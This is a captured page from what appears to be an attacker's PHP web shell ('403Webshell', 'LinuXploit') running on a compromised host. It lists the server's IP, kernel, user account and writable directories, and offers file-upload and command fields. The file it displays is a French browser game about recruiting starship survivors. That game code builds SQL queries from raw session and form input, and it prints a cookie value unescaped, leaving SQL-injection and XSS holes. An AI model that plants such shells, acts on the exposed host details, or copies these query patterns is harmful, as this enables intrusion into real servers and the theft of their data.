403Webshell
Server IP : 109.234.162.214  /  Your IP : 216.73.216.222
Web Server : Apache
System : Linux servd162214.srv.odns.fr 4.18.0-372.26.1.lve.1.el8.x86_64 #1 SMP Fri Sep 16 14:08:19 EDT 2022 x86_64
User : carpe ( 1178)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/carpe/public_html/starship/saves/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/carpe/public_html/starship/saves/universt.php
<?php

//Code avant echo -> pour tous les header et Cookies

session_start();
        
include 'objet.php';
include 'database.php';
        
$database = new Database();
$connexion = $database->getConnection();
        
if(isset($_SESSION['login'])){
            
}else{
    header("Location: login.php");
    setcookie("resultat", "", time() - 3600, "/");
}
        
if(isset($_POST['deco'])){
    session_destroy();
    header("Location: login.php");
    setcookie("resultat", "", time() - 3600, "/");
}
        
        
function newCookie($erreur){
    $nom = "resultat2";
    $valeur = $erreur;
    $expire = time() + (30 * 24 * 60 * 60);
    setcookie($nom, $valeur, $expire, "/");
}
        
        
if(isset($_COOKIE['resultat2'])){
    setcookie("resultat2", "", time() - 3600, "/");
    $text = $_COOKIE['resultat2'];
}
        
if(isset($_POST['recruter'])){
    $nom = $_POST['nom'];
    foreach($personnes as $value){
        $nom2 = $value->getNom();
        if($nom2 == $nom){
            //echo $value->sePresenter();
            $tab = $value->toArray();
            if ($value instanceof Operateur) {
                $classe = "Operateur";
                $metier = $tab['metier'];
                $mana = 0;
            }elseif($value instanceof Mentaliste) {
                $classe = "Mentaliste";
                $mana = $tab['mana'];
                $jobs = ['Operateur','Pilote', 'Agent dentretien'];
                $cleAleatoire = array_rand($jobs);
                $metier = $jobs[$cleAleatoire];
            }
            $nom = $tab['nom'];
            $prenom = $tab['prenom'];
            $age = $tab['age'];
            $id = getId($connexion);
            $sql = "INSERT INTO `team`(`id_user`, `nom`, `prenom`, `age`, `metier`, `mana`, `classe`) VALUES ('$id','$nom','$prenom','$age','$metier','$mana','$classe')";
            $statement = $connexion->prepare($sql);
            $statement->execute();
                    
            $sql2 = "DELETE FROM `persos` WHERE id_user='$id' and nom='$nom' and prenom ='$prenom'";
            $statement2 = $connexion->prepare($sql2);
            $statement2->execute();
                    
            $erreur = "$prenom $nom recruté avec succès !";
            newCookie($erreur);
            header("Location: univers.php");
                    
        }
    }
}
        
if(isset($_POST['vendre'])){
    $nom = $_POST['nom'];
    foreach($personnes as $value){
        $nom2 = $value->getNom();
        if($nom2 == $nom){
            $tab = $value->toArray();
            $nom = $tab['nom'];
            $prenom = $tab['prenom'];
            $id = getId($connexion);
            
            $sql = "DELETE FROM `persos` WHERE id_user='$id' and nom='$nom' and prenom ='$prenom'";
            $statement = $connexion->prepare($sql);
            $statement->execute();
            header("Location: univers.php");
            $erreur = "Produits vendus avec succès !";
            newCookie($erreur);
            header("Location: univers.php");
        }
    }
}

    $id = getId($connexion);
    $sql = "SELECT jour from users where id_user='$id'";
    $statement = $connexion->prepare($sql);
    $statement->execute();
    $results = $statement->fetchAll(PDO::FETCH_ASSOC);
    $jour = 0;
    foreach($results as $row){
        $jour = $row['jour'];
    }
    
    if($jour>30){
        header("Location: end.php");
        $erreur = "Vous avez réussi à survir jusqu'a l'arrivée des renforts de Trantor, bien joué !";
        newCookie($erreur);
    }

if(isset($_POST['nextday'])){
    $id = getId($connexion);
    $sql = "UPDATE `users` SET `jour`= jour + 1 WHERE id_user = $id";
    $statement = $connexion->prepare($sql);
    $statement->execute();
    
    $sql5= "SELECT * from persos where id_user ='$id'";
    $statement5 = $connexion->prepare($sql5);
    $statement5->execute();
    $results5 = $statement5->fetchAll(PDO::FETCH_ASSOC);
    if(empty($results5)){
        
    }else{
        $sql6= "DELETE from persos where id_user ='$id'";
        $statement6 = $connexion->prepare($sql6);
        $statement6->execute();
    }
    
    $tableau = [];


    while (count($tableau) < 5) {
        shuffle($personnes);
        $elementsAleatoires = array_slice($personnes, 0, 5);
        foreach($elementsAleatoires as $value){
            $tab = $value->toArray();
            $nom = $tab['nom'];
            $prenom = $tab['prenom'];
            $id=getId($connexion);
                    
            $sql ="SELECT * from team where id_user='$id'";
            $statement = $connexion->prepare($sql);
            $statement->execute();
            $results = $statement->fetchAll(PDO::FETCH_ASSOC);
            $error = 0;
            foreach($results as $row){
                $nom2 = $row['nom'];
                $prenom2 = $row['prenom'];
                        
                if($nom == $nom2 AND $prenom == $prenom2){
                    $error++;
                }
            }
            if($error<1){
                array_push($tableau, ['nom' => $nom, 'prenom' => $prenom]);
            }
        }
    }
    
    foreach($tableau as $value){
        $nom = $value['nom'];
        $prenom = $value['prenom'];
        $id = getId($connexion);
        
        $sql3 = "INSERT INTO `persos`(`id_user`, `nom`, `prenom`) VALUES ('$id','$nom','$prenom')";
        $statement3 = $connexion->prepare($sql3);
        $statement3->execute();
    }

    header:("Location: univers.php");
}

//PB avec le code au dessus -> ya plus assez de personne dans le tableau personnes, donc le script while remplit le tabbleau $tableau avec des valeurs 2 fois. 
//Heuresement, mon code supprimer le perso en fonction du nom / prenom dans la BDD. Ce qui fait que si il est inséré plusieurs fois, il sera supprimé plusieurs fois, donc pas de probleme visible au premier plan.


    

?>
<!DOCTYPE html>
<html>
<head>
    <title>Watching Us</title>
    <meta charset="utf-8">
</head>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Nabla&family=Quicksand:wght@300..700&family=VT323&display=swap" rel="stylesheet">
<style>

    body{
        background:black;
        width:100%;
        height:100vh;
        display:flex;
        justify-content:center;
        align-items:center;
        padding:0;
        margin:0;
        color:white;
    }
    
    #contain{
        width:800px;
        height:500px;
        background:#F2F2F2;
        background:black;
        display:flex;
        justify-content:center;
        align-items:center;
        border: 5px solid #d0c2c2;
        position:relative;
  
        
    }
    
    #menu{
        position:absolute;
        top:0;
    }
    

    
    #menu input{
        all:initial;
        
        font-family: "VT323", monospace;
        font-size:1.5rem;
        padding: 5px 10px 5px 10px;
        border : 5px solid #d0c2c2;
        padding:5px 10px 5px 10px;
        cursor:pointer;
        transition:.5s all;
        
        
        color:black;
        background:#d0c2c2;
    }
    
    #menu input:hover{
        transform:.5s all;
        background:black;
        color:#d0c2c2;
    }
    
    #background_gestion{
        width:100%;
        height:100%;
        background-image:url('images/bg_gestion.png');
        background-size:cover;
        
    }
    
    #background_marche{
        width:100%;
        height:100%;
        background-image:url('images/bg_marche.png');
        background-size:cover;
        
    }
    
    #text{
        position:absolute;
        color:#d0c2c2;
        top:-40px;
        font-family: "VT323", monospace;
        font-size:1.3rem;
    }

    
    #deco input{
        position:absolute;
        color:black;
        background:#d0c2c2;
        font-family: "VT323", monospace;
        font-size:1.5rem;
        top:0;
        left:0;
        z-index:999;
        outline:none;
        cursor:pointer;
        border:none;
        transition: .5s all;
        border : 5px solid #d0c2c2;
    }
    
    #deco input:hover{
        color:#d0c2c2;
        background:black;
        transition: .5s all;
        
    }
    
    #reponse{
        position:absolute;
        bottom:-70px;
        display:flex;
        z-index:999;
    }
    #reponse input{
        color:black;
        background:#d0c2c2;
        font-family: "VT323", monospace;
        font-size:1.5rem;
        outline:none;
        cursor:pointer;
        border:none;
        transition: .5s all;
        border : 5px solid #d0c2c2;
        margin:10px;
    }
    
    #reponse input:hover{
        color:#d0c2c2;
        background:black;
        transition: .5s all;
        
    }
    #reponse button{
        color:black;
        margin:10px;
        background:#d0c2c2;
        font-family: "VT323", monospace;
        font-size:1.5rem;
        outline:none;
        cursor:pointer;
        border:none;
        transition: .5s all;
        border : 5px solid #d0c2c2;
    }
    
    #reponse button:hover{
        color:#d0c2c2;
        background:black;
        transition: .5s all;
        
    }
    #text2{
        position:absolute;
        bottom:0;
        border: 5px solid #d0c2c2;
        height:7vh;
        padding:10px;
        width:400px;
        background:black;
    }
    
    #text2 p{
        color:#d0c2c2;
        font-family: "VT323", monospace;
        font-size:1.2rem;
        margin:0;
        padding:0;
    }
    
    .perso{
        position:absolute;
        bottom:85px;
        width:300px;
    }
    
    .result{
        position:absolute;
        bottom:-100px;
        color:#d0c2c2;
        font-family: "VT323", monospace;
        font-size:1.5rem;
    }
    
    .result3{
        position:absolute;
        bottom:-140px;
        color:#d0c2c2;
        font-family: "VT323", monospace;
        font-size:1.5rem;
    }
    
    #jour{
        color:#d0c2c2;
        font-family: "VT323", monospace;
        font-size:1.5rem;
        position:absolute;
        left:-200px;
        bottom:10px;
        display:flex;
        flex-wrap:wrap;
        justify-content:center;
        align-items:center;
        text-align:center;
        cursor:pointer;
    }
    #jour input{
        background:#d0c2c2;
        font-family: "VT323", monospace;
        font-size:1.5rem;
        color:black;
        outline:none;
        border: 5px solid #d0c2c2;
        transition:.5s all;
        cursor:pointer;
    }
    
    #jour input:hover{
        color:#d0c2c2;
        background:black;
        transition:.5s all;
    }
    



    
    
    
</style>
<body>
    <form id='deco' method='POST' action='univers.php'>
        <input type='submit' name='deco' value='Deconnexion'>
    </form>
    <div id='contain'>
        <div id='jour'>
            <form method='POST' action='univers.php'>
                <?php
                //bout de code pour l'affichage des jours
                
                $id = getId($connexion);
                $sql = "SELECT jour from users where id_user='$id'";
                $statement = $connexion->prepare($sql);
                $statement->execute();
                $results = $statement->fetchAll(PDO::FETCH_ASSOC);
                $jour = 0;
                foreach($results as $row){
                    $jour = $row['jour'];
                }
                
                echo "<label>Jour actuel : $jour</label><br/>";
                
                ?>
                <input type='submit' name='nextday' value='Passer au jour suivant'>
            </form>
        </div>
        <div id='menu'>
                    <form method='POST' action='univers.php'>
                    <input type='submit' name='marche' value='Marché'>
                    <input type='submit' name='gestion' value='Gestion'>
                    <input type='submit' name='vaisseaux' value='Vaisseaux'>
                    </form>
        </div>
        <?php
        
        
        
        
        if(isset($_POST['gestion'])){
            echo "<div id='background_gestion'></div>";
            echo "<div id='text'>Vous vous trouvez dans votre refuge, vous pouvez gérer vos membres</div>";
        }else if(isset($_POST['vaisseaux'])){
            echo "<div id='text'>Vous vous trouvez dans votre garage, vous pouvez gérer vos vaisseaux</div>";
        }else{
            echo "<div id='background_marche'></div>";
            echo "<div id='text'>Vous vous trouvez au marché, vous pouvez discuter et recruter de nouveaux membres</div>";
            
            $id = getId($connexion);
            $sql = "SELECT * from persos where id_user = '$id'";
            $statement = $connexion->prepare($sql);
            $statement->execute();
            $results = $statement->fetchAll(PDO::FETCH_ASSOC);
            //$error = 0;
            $newPersonnes = [];
            foreach($results as $row){
                $nom = $row['nom'];
                $prenom = $row['prenom'];
                $nom1 = $prenom . " " . $nom;
                foreach($personnes as $value){
                    $nom2 = $value->getNom();
                    if($nom1 == $nom2){
                        
                        //insérer ici
                        if ($value instanceof Operateur) {
                            $metier = $value->getMetier();
                            array_push($newPersonnes, ['nom' => $nom, 'prenom' => $prenom,'metier' => $metier]);
                        }
                        if ($value instanceof Mentaliste) {
                            $jobs = ['Operateur','Pilote', 'Agent dentretien'];
                            $cleAleatoire = array_rand($jobs);
                            $metier = $jobs[$cleAleatoire];
                            array_push($newPersonnes, ['nom' => $nom, 'prenom' => $prenom,'metier' => $metier]);
                        }
                        //array_push($newPersonnes, );
                    }
                }
            }
            foreach($newPersonnes as $value){
                $nom = $value['nom'];
                $prenom = $value['prenom'];
                $metier = $value['metier'];
                echo "<div id='text2'><p>";
                echo "$prenom, $nom";
                echo " : Bonjour, Je vais vous prendre des rations";
                echo "</p></div>";
                echo "<img class='perso' src='images/perso.png'>";
                $infos = "Monsieur : $nom , Metier : $metier";
                //echo $infos;
                echo "<div id='reponse'><form method='POST' action='univers.php'><input type='hidden' name='nom' value='$nom'><input type='submit' name='recruter' value='Recruter'><input type='submit' name='vendre' value='Vendre les produits'></form>
                        <button id='infos' onclick='infos(\"" . htmlspecialchars($infos, ENT_QUOTES, 'UTF-8') . "\")'>Informations</button>
                <button id='talk' onclick='discuter()'>Discuter</button>
                </div>";
                break;
            }
            /**
            if($error<1){
                echo "<img class='perso' src='images/perso.png'>";
                        $nom = $value->getNom();
                        if ($value instanceof Operateur) {
                            echo "<div id='text2'><p>";
                            echo $value->getNom();
                            echo " : Bonjour, Je voudrais du pain";
                            echo "</p></div>";
                            $metier = $value->getMetier();
                            $infos = "Monsieur : $nom, Metier : $metier";
                        } elseif ($value instanceof Mentaliste) {
                            echo "<div id='text2'><p>";
                            echo $value->getNom();
                            echo " : Bonjour, Je vais vous prendre des rations";
                            echo "</p></div>";
                            $jobs = ['Operateur','Pilote', 'Agent dentretien'];
                            $cleAleatoire = array_rand($jobs);
                            $metier = $jobs[$cleAleatoire];
                            $infos = "Monsieur : $nom, Metier : $metier";
                        }
                        echo "<div id='reponse'><form method='POST' action='univers.php'><input type='hidden' name='nom' value='$nom'><input type='submit' name='recruter' value='Recruter'><input type='submit' name='vendre' value='Vendre les produits'></form>
                        <button id='infos' onclick='infos(\"" . htmlspecialchars($infos, ENT_QUOTES, 'UTF-8') . "\")'>Informations</button>
                        <button id='talk' onclick='discuter()'>Discuter</button>
                        </div>";
            }**/
            
            
            if (empty($results)) {
                echo "<div class='result3'>Vous n'aurez plus de clients aujourd'hui.</div>";
            }
        }

        function getId($connexion){
            $username = $_SESSION['login'];
            $sql = "SELECT id_user from users where username = '$username'";
            $statement = $connexion->prepare($sql);
            $statement->execute();
            $results = $statement->fetchAll(PDO::FETCH_ASSOC);
            foreach ($results as $row) {
                $id = $row['id_user'];
                return $id;
            }
        }
        
        if(isset($text)){
            echo "<div class='result'>";
            echo $text;
            echo "</div>";
        }
        

        ?>
    </div>
</body>
<script>

    
function infos(nom) {
    const divParent = document.getElementById('contain');
    console.log("Informations : " + nom);
    
    const nouvelleDiv = document.createElement('div');
    nouvelleDiv.classList.add('result3');
    nouvelleDiv.textContent = nom;
    divParent.appendChild(nouvelleDiv);
}

function discuter(){
    
    const nouvelleDiv = document.createElement('div');
    const contain = document.getElementById('contain');
    const paragraphe = document.createElement('p');
    paragraphe.textContent = 'Vous : Pas trop dur de survir ces temps ci ?';
    nouvelleDiv.id = 'text2',
    nouvelleDiv.appendChild(paragraphe);
    contain.appendChild(nouvelleDiv);
    
    var div = document.querySelector('#text2');

    var texte = div.textContent;
    console.log(texte);
    var mots = texte.split(' ');
    var premiersMots = mots.slice(0, 2);
    var nom = premiersMots[0];
    var prenom = premiersMots[1];
    console.log(nom);


}



    
</script>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit